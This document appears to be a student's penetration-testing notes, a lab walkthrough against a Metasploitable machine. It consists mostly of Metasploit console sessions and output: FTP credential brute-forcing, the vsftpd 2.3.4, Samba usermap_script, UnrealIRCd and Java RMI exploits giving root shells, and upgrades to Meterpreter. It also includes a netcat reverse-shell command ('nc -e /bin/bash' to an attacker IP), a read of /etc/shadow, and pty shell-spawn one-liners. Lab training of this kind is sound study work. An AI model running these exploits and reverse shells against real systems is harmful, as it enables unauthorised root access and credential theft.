

```
Tenable Nessus "vuln scanner" "scanning assets"  
"range of ip" "server"  
Auth scan : login "user/pass"  
UnAuth scan : don't have any access  
tenable nessus plugins "db" --> report
```

Exploitation

```
[-] manual exploitation --> vuln --> exploit code --  
> read , run code --> access  
[-] automated exploitation --> exploit kits  
"metasploit" - "core impact" - "CANVAS"
```

```
exploit db >>> search  
searchsploit vsftpd 2.3.4  
searchsploit -m unix/remote/49757.py
```

Spawning Shell using python or bash

```
[-] /bin/bash -i  
[-] python -c 'import pty; pty.spawn("/bin/bash")'  
  
exploit db "website" --> CLI searchsploit
```

metasploit Auxiliary

SHELL

```
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > show
options
msf6 auxiliary(scanner/portscan/tcp) > set
rhosts 192.168.61.17
msf6 auxiliary(scanner/portscan/tcp) > set ports
21-23
ports => 21-23
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.61.17:          - 192.168.61.17:22 -
TCP OPEN
[+] 192.168.61.17:          - 192.168.61.17:23 -
TCP OPEN
[+] 192.168.61.17:          - 192.168.61.17:21 -
TCP OPEN
```

```
-----
-----
msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 auxiliary(scanner/ftp/ftp_version) > show
options
msf6 auxiliary(scanner/ftp/ftp_version) > show
missing
```

Module options

(auxiliary/scanner/ftp/ftp_version):

Name	Current Setting	Required
Description		

-

RHOSTS	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
--------	-----	---

it/basics/using-metasploit.html

```
msf6 auxiliary(scanner/ftp/ftp_version) > setg rhosts 192.168.61.17
```

```
msf6 auxiliary(scanner/ftp/ftp_version) > run
```

```
[+] 192.168.61.17:21 - FTP Banner: '220 (vsFTPd 2.3.4)\x0d\x0a'
```

```
[*] 192.168.61.17:21 - Scanned 1 of 1 hosts (100% complete)
```

```
[*] Auxiliary module execution completed
```

```
msf6 > use auxiliary/scanner/ftp/anonymous
```

```
msf6 auxiliary(scanner/ftp/anonymous) > show options
```

Module options

(auxiliary/scanner/ftp/anonymous):

Name	Current Setting	Required
Description		

```

-----
FTP PASS  mozilla@example.com  no  The
password for the specified username
FTP USER  anonymous  no  The
username to authenticate as
RHOSTS  192.168.61.17  yes  The
target host(s), see
https://docs.metasploit.com/docs/using-metasploit.html
RPORT  21  yes  The
target port (TCP)
THREADS  1  yes  The
number of concurrent threads (max one per host)

```

View the full module info with the `info`, or `info -d` command.

```

msf6 auxiliary(scanner/ftp/anonymous) > run
[+] 192.168.61.17:21 - 192.168.61.17:21 -
Anonymous READ (220 (vsFTPd 2.3.4))
[*] 192.168.61.17:21 - Scanned 1 of 1 hosts
(100% complete)
[*] Auxiliary module execution completed
-----
msf6 > use auxiliary/scanner/ftp/ftp_login

```

```
msf6 auxiliary(scanner/ftp/ftp_login) > show options
```

Module options

(auxiliary/scanner/ftp/ftp_login):

Name	Current Setting	Required
ANONYMOUS_LOGIN	false	yes
Attempt to login with a blank username and password		
BLANK_PASSWORDS	false	no
Try blank passwords for all users		
BRUTEFORCE_SPEED	5	yes
How fast to bruteforce, from 0 to 5		
DB_ALL_CREDS	false	no
Try each user/password couple stored in the current database		
DB_ALL_PASS	false	no
Add all passwords in the current database to the list		
DB_ALL_USERS	false	no
Add all users in the current database to the list		
DB_SKIP_EXISTING	none	no
Skip existing credentials stored in the current database (Acc		

ected: none, user, user&realm)

PASSWORD no

A specific password to authenticate with

PASS_FILE no

File containing passwords, one per line

Proxies no

A proxy chain of **format**

type:host:port[,type:host:port][...]

RECORD_GUEST false no

Record anonymous/guest logins to the database

RHOSTS 192.168.61.17 yes

The target host(s), see

<https://docs.metasploit.com/docs/usin>

[g-metasploit/basics/using-metasploit.html](https://docs.metasploit.com/docs/usin-g-metasploit/basics/using-metasploit.html)

RPORT 21 yes

The target port (TCP)

STOP_ON_SUCCESS false yes

Stop guessing when a credential works **for** a **host**

THREADS 1 yes

The number of concurrent threads (max one per **host**)

USERNAME no

A specific username to authenticate as

USERPASS_FILE no

File containing **users** and passwords separated by space, one p

air per line

USER_AS_PASS false no

Try the username as the password for all users

USER_FILE no

File containing usernames, one per line

VERBOSE true yes

Whether to print output for all attempts

View the full module info with the info, or info
-d command.

```
msf6 auxiliary(scanner/ftp/ftp_login) > set
```

```
username msfadmin
```

```
username => msfadmin
```

```
msf6 auxiliary(scanner/ftp/ftp_login) > set
```

```
pass_file
```

```
/usr/share/seclists/Passwords/darkweb2017-  
top10000.txt
```

```
pass_file =>
```

```
/usr/share/seclists/Passwords/darkweb2017-  
top10000.txt
```

```
msf6 auxiliary(scanner/ftp/ftp_login) > run
```

```
[*] 192.168.61.17:21       - 192.168.61.17:21 -
```

```
Starting FTP login sweep
```

```
[!] 192.168.61.17:21       - No active DB --
```

```
Credential data will not be saved!
```

```
[-] 192.168.61.17:21       - 192.168.61.17:21 -
```

```
LOGIN FAILED: msfadmin:123456 (Incorrect: )
```

```
[ - ] 192.168.61.17:21      - 192.168.61.17:21 -  
LOGIN FAILED: msfadmin:123456789 (Incorrect: )  
[ - ] 192.168.61.17:21      - 192.168.61.17:21 -  
LOGIN FAILED: msfadmin:111111 (Incorrect: )  
[ - ] 192.168.61.17:21      - 192.168.61.17:21 -  
LOGIN FAILED: msfadmin:password (Incorrect: )  
[ + ] 192.168.61.17:21      - 192.168.61.17:21 -  
Login Successful: msfadmin:msfadmin  
[ * ] 192.168.61.17:21      - Scanned 1 of 1 hosts  
(100% complete)  
[ * ] Auxiliary module execution completed
```


Metasploit Exploitation

SHELL

```
msf6 > search vsftpd 2.3.4
```

Matching Modules

=====

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

```
msf6 > use 0
```

```
[*] No payload configured, defaulting to  
cmd/unix/interact
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >  
show options
```

Module options

```
(exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	
Description			
----	-----	-----	-----
--			
CHOST		no	The local
client address			
CPORT		no	The local
client port			
Proxies		no	A proxy
chain of format	type:host:port[,type:host:port]		
[...]			
RHOSTS	192.168.61.17	yes	The
target host(s), see			
https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html			
RPORT	21	yes	The
target port (TCP)			

Exploit target:

Id	Name
--	----
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.61.17:21 - Banner: 220 (vsFTPd
2.3.4)
[*] 192.168.61.17:21 - USER: 331 Please specify
the password.
[+] 192.168.61.17:21 - Backdoor service has been
spawned, handling...
[+] 192.168.61.17:21 - UID: uid=0(root)
gid=0(root)
[*] Found shell.
whoami
root
/bin/bash -i
root@metasploitable:/#
```

```
-----
-----
└─(kali㉿kali)-[~/Desktop/exp/CVE-2007-2447-in-
Python]
└─$ git clone https://github.com/Ziemni/CVE-
2007-2447-in-Python.git
```

```
└─(kali㉿kali)-[~/Desktop/exp/CVE-2007-2447-in-
Python]
└─$ nc -nlvp 4455
```

```
└─(kali㉿kali)-[~/Desktop/exp/CVE-2007-2447-in-
Python]
```

```
└─$ python3 ./smbExploit.py 192.168.61.17 "nc -e /bin/bash 192.168.61.19 4455"
```

```
-----  
-----  
msf6 > search samba 3.0.20
```

Matching Modules

=====

#	Name	Disclosure Date	Rank	Check	Description
-	----	-	-	-	-----
0	exploit/multi/samba/usermap_script	2007-05-14	excellent	No	Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

```
msf6 > use 0
```

```
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
```

```
msf6 exploit(multi/samba/usermap_script) > show options
```

Module options

(exploit/multi/samba/usermap_script):

Name	Current Setting	Required	Description
----	-----	-----	-----
--			
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.61.17	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	139	yes	The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name	Current Setting	Required	Description
----	-----	-----	-----
LHOST	192.168.61.19	yes	The listen address (an interface may be specified)

LPORT 4444 yes The listen
port

Exploit target:

Id	Name
--	----
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/samba/usermap_script) > show options
```

Module options

(exploit/multi/samba/usermap_script):

Name	Current Setting	Required
Description		
----	-----	-----
--		
CHOST		no
client address		The local
CPORT		no
client port		The local

Proxies no A proxy chain of **format** type:host:port[,type:host:port][...]

RHOSTS **192.168.61.17** **yes** The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

oit/basics/using-metasploit.html

RPORT **139** **yes** The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name	Current Setting	Required	Description
----	-----	-----	-----
LHOST	192.168.61.19	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on
192.168.61.19:4444
[*] Command shell session 2 opened
(192.168.61.19:4444 -> 192.168.61.17:42251) at
2025-08-24 13:58:09 -0400
```

whoami

root

/bin/bash -i

bash: no job control in this shell

root@metasploitable:/# cat /etc/shadow

msf6 > search UnrealIRCd

Matching Modules

=====

#	Name			
Disclosure	Date	Rank	Check	Description
-	----			
-----	-----	-----	-----	-----


```
0 exploit/unix/irc/unreal_ircd_3281_backdoor
2010-06-12          excellent  No      UnrealIRCd
3.2.8.1 Backdoor Command Execution
```

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

```
msf6 > use 0
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor)
> show options
```

Module options

(exploit/unix/irc/unreal_ircd_3281_backdoor):

Name	Current Setting	Required	
Description			
----	-----	-----	-----
--			
CHOST		no	The local
client address			
CPORT		no	The local
client port			
Proxies		no	A proxy
chain of format	type:host:port[,type:host:port]		
[...]			
RHOSTS	192.168.61.17	yes	The
target host(s), see			

<https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 6667 yes The
target port (TCP)

Exploit target:

Id	Name
--	----
0	Automatic Target

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor)
> exploit
[-] 192.168.61.17:6667 - Exploit failed: A
payload has not been selected.
[*] Exploit completed, but no session was
created.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor)
> show payloads
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor)
> set payload payload/cmd/unix/reverse_ruby
payload => cmd/unix/reverse_ruby
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor)
> show options
```

Module options

(exploit/unix/irc/unreal_ircd_3281_backdoor):

Name	Current Setting	Required	Description
----	-----	-----	-----
--			
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.61.17	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	6667	yes	The target port (TCP)

Payload options (cmd/unix/reverse_ruby):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

```

-----
LHOST                                yes          The listen
address (an interface may be specified)
LPORT 4444                          yes          The listen
port

```

Exploit target:

```

Id  Name
--  ----
0   Automatic Target

```

View the full module info with the `info`, or `info -d` command.

```

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor)
> set lhost 192.168.61.19
lhost => 192.168.61.19
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor)
> set lport 2233
lport => 2233
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor)
> run
[*] Started reverse TCP handler on
192.168.61.19:2233
[*] 192.168.61.17:6667 - Connected to

```

192.168.61.17:6667...

:irc.Metasploitable.LAN NOTICE AUTH :***

Looking up your hostname...

:irc.Metasploitable.LAN NOTICE AUTH :***

Couldn't resolve your **hostname**; using your IP address instead

[*] 192.168.61.17:6667 - Sending backdoor command...

[*] Command shell session 3 opened

(192.168.61.19:2233 -> 192.168.61.17:53234) at 2025-08-24 14:03:33 -0400

whoami

root

msf6 > use

post/multi/manage/shell_to_meterpreter

msf6 post(multi/manage/shell_to_meterpreter) >
show options

Module options

(post/multi/manage/shell_to_meterpreter):

Name	Current Setting	Required
Description		
----	-----	-----
--		

HANDLER **true** **yes** Start an exploit/multi/handler to receive the connection
 LHOST **no** IP of **host** that will receive the connection from the payload (Will try to auto detect).
 LPORT **4433** **yes** Port **for** payload to connect to.
 SESSION **yes** The session to run this module on

View the full module info with the `info`, or `info -d` command.

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions
```

Active sessions

=====

Id	Name	Type	Information
Connection			
--	----	----	-----

2		shell cmd/unix	
192.168.61.19:4444 -> 192.168.61.17:42251			
(192.168.61.17)			

```
3          shell cmd/unix
192.168.61.19:2233 -> 192.168.61.17:53234
(192.168.61.17)

msf6 post(multi/manage/shell_to_meterpreter) >
set session 2
session => 2
msf6 post(multi/manage/shell_to_meterpreter) >
run
[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on
192.168.61.19:4433
[*] Sending stage (1017704 bytes) to
192.168.61.17
[*] Meterpreter session 4 opened
(192.168.61.19:4433 -> 192.168.61.17:51181) at
2025-08-24 14:10:05 -0400
[*] Command stager progress: 100.00% (773/773
bytes)
[*] Post module execution completed

-----

msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to
java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show
```

options

Module options

(exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
----	-----	-----	-----
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.61.17	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
LHOST	192.168.61.19	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Generic (Java Payload)

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on
```

192.168.61.19:4444

[*] 192.168.61.17:1099 - Using URL:

http://192.168.61.19:8080/W50IAP

[*] 192.168.61.17:1099 - Server started.

[*] 192.168.61.17:1099 - Sending RMI Header...

[*] 192.168.61.17:1099 - Sending RMI Call...

[*] 192.168.61.17:1099 - Replied to request for
payload JAR

[*] Sending stage (58073 bytes) to 192.168.61.17

[*] Meterpreter session 6 opened

(192.168.61.19:4444 -> 192.168.61.17:34282) at
2025-08-24 14:40:03 -0400

meterpreter > getuid

Server username: root

meterpreter > sysinfo

Computer : metasploitable

OS : Linux 2.6.24-16-server (i386)

Architecture : x86

System Language : en_US

Meterpreter : java/linux

Upgrade Session From Shell To

```
msf6 > use
post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) >
show options
```

Module options

(post/multi/manage/shell_to_meterpreter):

Name	Current Setting	Required	Description
----	-----	-----	-----
--			
HANDLER	true	yes	Start an exploit/multi/handler to receive the connection
LHOST		no	IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT	4433	yes	Port for payload to connect to.
SESSION		yes	The session to run this module on

View the full module info with the `info`, or `info`

-d command.

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions
```

Active sessions

=====

Id	Name	Type	Information
Connection			
--	----	----	-----

2		shell cmd/unix	
192.168.61.19:4444 -> 192.168.61.17:42251			
(192.168.61.17)			
3		shell cmd/unix	
192.168.61.19:2233 -> 192.168.61.17:53234			
(192.168.61.17)			

```
msf6 post(multi/manage/shell_to_meterpreter) >
```

```
set session 2
```

```
session => 2
```

```
msf6 post(multi/manage/shell_to_meterpreter) >
```

```
run
```

```
[*] Upgrading session ID: 2
```

```
[*] Starting exploit/multi/handler
```

```
[*] Started reverse TCP handler on
```

```
192.168.61.19:4433
```

```
[*] Sending stage (1017704 bytes) to
```

192.168.61.17

[*] Meterpreter session 4 opened

(192.168.61.19:4433 -> 192.168.61.17:51181) at
2025-08-24 14:10:05 -0400

[*] Command stager progress: 100.00% (773/773
bytes)

[*] Post module execution completed

msf6 post(multi/manage/shell_to_meterpreter) >

msf6 post(multi/manage/shell_to_meterpreter) >
sessions

Active sessions

=====

Id	Name	Type	Information
----	------	------	-------------

Connection			
--	----	----	-----

2		shell cmd/unix	
192.168.61.19:4444 -> 192.168.61.17:422			

51 (192.168.61.17)

3		shell cmd/unix	
192.168.61.19:2233 -> 192.168.61.17:532			

34 (192.168.61.17)

4		meterpreter x86/linux	root @
metasploitable.localdomain 192.168.61.19:4433 -			
> 192.168.61.17:511			

81 (192.168.61.17)

msf6 > sessions -u 3

[*] Executing

'post/multi/manage/shell_to_meterpreter' on

session(s): [3]

[*] Upgrading session ID: 3

[*] Starting exploit/multi/handler

[*] Started reverse TCP handler on

192.168.61.19:4433

[*] Sending stage (1017704 bytes) to

192.168.61.17

[*] Meterpreter session 5 opened

(192.168.61.19:4433 -> 192.168.61.17:49541) at

2025-08-24 14:19:53 -0400

[*] Command stager progress: 100.00% (773/773
bytes)

msf6 >

msf6 >

msf6 > sessions

Active sessions

=====

Id	Name	Type	Information
Connection			
--	----	----	-----

2		shell cmd/unix	
192.168.61.19:4444 -> 192.168.61.17:422			
51 (192.168.61.17)			
3		shell cmd/unix	
192.168.61.19:2233 -> 192.168.61.17:532			
34 (192.168.61.17)			
4		meterpreter x86/linux	root @
metasploitable.localdomain 192.168.61.19:4433 -			
> 192.168.61.17:511			
81 (192.168.61.17)			
5		meterpreter x86/linux	root @
metasploitable.localdomain 192.168.61.19:4433 -			
> 192.168.61.17:495			
41 (192.168.61.17)			

msf6 > sessions -i 5

[*] Starting interaction with 5...

meterpreter >

RHOSTS --> target ip "vicitm"

RPORT --> port number on target system

LHOSTS --> local ip "attacker"

LPORT --> listenning port in attacker machine